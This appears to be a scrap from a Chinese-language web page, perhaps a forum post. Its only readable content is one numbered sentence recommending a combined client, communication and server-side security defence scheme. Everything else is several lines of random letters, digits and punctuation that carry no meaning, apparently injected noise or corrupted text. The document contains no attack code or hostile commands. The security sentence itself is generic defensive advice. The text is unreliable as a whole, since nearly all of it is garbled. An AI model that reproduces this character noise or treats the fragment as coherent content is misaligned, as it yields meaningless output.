2 _! J9 B2 V4 v a2 J+ H: W. _ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

. n0 }* P9 _9 u! I6 g& g0 b1 ] , Z, O7 ? H6 s" b& w " C8 D' X+ f) @+ S* A

- b% P M _* l2 ?   ( a& b1 S+ m# r; }" V * E% q( I) h+ q: g6 j' o6 K

8 C. ?! r3 p" A% W* `

% e- m: d) w7 W U0 V/ q* `: d1 W) k: [: S
Y( v1 Z: X& I, \3 O

0 ?5 h# t. ]2 w1 ^' j/ k$ l